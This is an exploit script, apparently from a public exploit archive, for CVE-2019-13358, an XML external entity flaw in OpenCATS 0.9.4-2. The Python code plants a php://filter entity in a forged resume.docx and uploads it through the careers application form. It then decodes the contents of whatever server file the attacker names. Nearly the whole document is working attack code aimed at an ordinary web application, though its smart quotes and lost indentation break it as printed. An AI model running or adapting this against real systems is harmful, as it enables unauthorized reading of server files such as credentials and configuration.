# Exploit Title: OpenCats 0.9.4-2 – ‘docx ‘ XML External Entity Injection (XXE)
# Date: 2021-09-20
# Exploit Author: Jake Ruston
# Vendor Homepage: https://opencats.org
# Software Link: https://github.com/opencats/OpenCATS/releases/download/0.9.4-2/opencats-0.9.4-2-full.zip
# Version: < 0.9.4-3
# Tested on: Linux
# CVE: 2019-13358

from argparse import ArgumentParser
from docx import Document
from zipfile import ZipFile
from base64 import b64decode
import requests
import re

xml = “””
<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>
<!DOCTYPE root [<!ENTITY file SYSTEM ‘php://filter/convert.base64-encode/resource={}’>]>
<w:document xmlns:wpc=”http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas” xmlns:mo=”http://schemas.microsoft.com/office/mac/office/2008/main” xmlns:mc=”http://schemas.openxmlformats.org/markup-compatibility/2006″ xmlns:mv=”urn:schemas-microsoft-com:mac:vml” xmlns:o=”urn:schemas-microsoft-com:office:office” xmlns:r=”http://schemas.openxmlformats.org/officeDocument/2006/relationships” xmlns:m=”http://schemas.openxmlformats.org/officeDocument/2006/math” xmlns:v=”urn:schemas-microsoft-com:vml” xmlns:wp14=”http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing” xmlns:wp=”http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing” xmlns:w10=”urn:schemas-microsoft-com:office:word” xmlns:w=”http://schemas.openxmlformats.org/wordprocessingml/2006/main” xmlns:w14=”http://schemas.microsoft.com/office/word/2010/wordml” xmlns:wpg=”http://schemas.microsoft.com/office/word/2010/wordprocessingGroup” xmlns:wpi=”http://schemas.microsoft.com/office/word/2010/wordprocessingInk” xmlns:wne=”http://schemas.microsoft.com/office/word/2006/wordml” xmlns:wps=”http://schemas.microsoft.com/office/word/2010/wordprocessingShape” mc:Ignorable=”w14 wp14″>
<w:body>
<w:p>
<w:r>
<w:t>START&file;END</w:t>
</w:r>
</w:p>
<w:sectPr w:rsidR=”00FC693F” w:rsidRPr=”0006063C” w:rsidSect=”00034616″>
<w:pgSz w:w=”12240″ w:h=”15840″/>
<w:pgMar w:top=”1440″ w:right=”1800″ w:bottom=”1440″ w:left=”1800″ w:header=”720″ w:footer=”720″ w:gutter=”0″/>
<w:cols w:space=”720″/>
<w:docGrid w:linePitch=”360″/>
</w:sectPr>
</w:body>
</w:document>
“””

class CVE_2019_13358:
def __init__(self):
self.args = self.parse_arguments()

def parse_arguments(self):
parser = ArgumentParser()

required = parser.add_argument_group(“required arguments”)
required.add_argument(“–url”, help=”the URL where OpenCATS is hosted”, required=True)
required.add_argument(“–file”, help=”the remote file to read”, required=True)

args = parser.parse_args()

if not args.url.startswith(“http”):
args.url = f”http://{args.url}”

args.url = f”{args.url}/careers/index.php”

return args

def create_resume(self):
document = Document()
document.add_paragraph()
document.save(“resume.docx”)

def update_resume(self):
with ZipFile(“resume.docx”, “r”) as resume:
resume.extractall()

with open(“word/document.xml”, “w”) as document:
document.write(xml.format(self.args.file).strip())

with ZipFile(“resume.docx”, “w”) as resume:
resume.write(“word/document.xml”)

def get(self):
params = { “m”: “careers”, “p”: “showAll” }

try:
request = requests.get(self.args.url, params=params)
except:
raise Exception(“Failed to GET to the URL provided”)

id = re.search(r”ID=([0-9])*”, request.text)

if id is None:
raise Exception(“No vacancies were found”)

return id.group(1)

def post(self, id):
params = { “m”: “careers”, “p”: “onApplyToJobOrder” }
files = {
“ID”: (None, id),
“candidateID”: (None, -1),
“applyToJobSubAction”: (None, “resumeLoad”),
“file”: (None, “”),
“resumeFile”: open(“resume.docx”, “rb”),
“resumeContents”: (None, “”),
“firstName”: (None, “”),
“lastName”: (None, “”),
“email”: (None, “”),
“emailconfirm”: (None, “”),
“phoneHome”: (None, “”),
“phoneCell”: (None, “”),
“phone”: (None, “”),
“bestTimeToCall”: (None, “”),
“address”: (None, “”),
“city”: (None, “”),
“state”: (None, “”),
“zip”: (None, “”),
“keySkills”: (None, “”)
}

try:
request = requests.post(self.args.url, params=params, files=files)
except Exception as e:
raise Exception(“Failed to POST to the URL provided”, e)

start = request.text.find(“START”)
end = request.text.find(“END”)

file = request.text[start + 5:end].strip()

try:
file = b64decode(file)
file = file.decode(“ascii”).strip()
except:
raise Exception(“File not found”)

print(file)

def run(self):
self.create_resume()
self.update_resume()

id = self.get()
self.post(id)

CVE_2019_13358().run()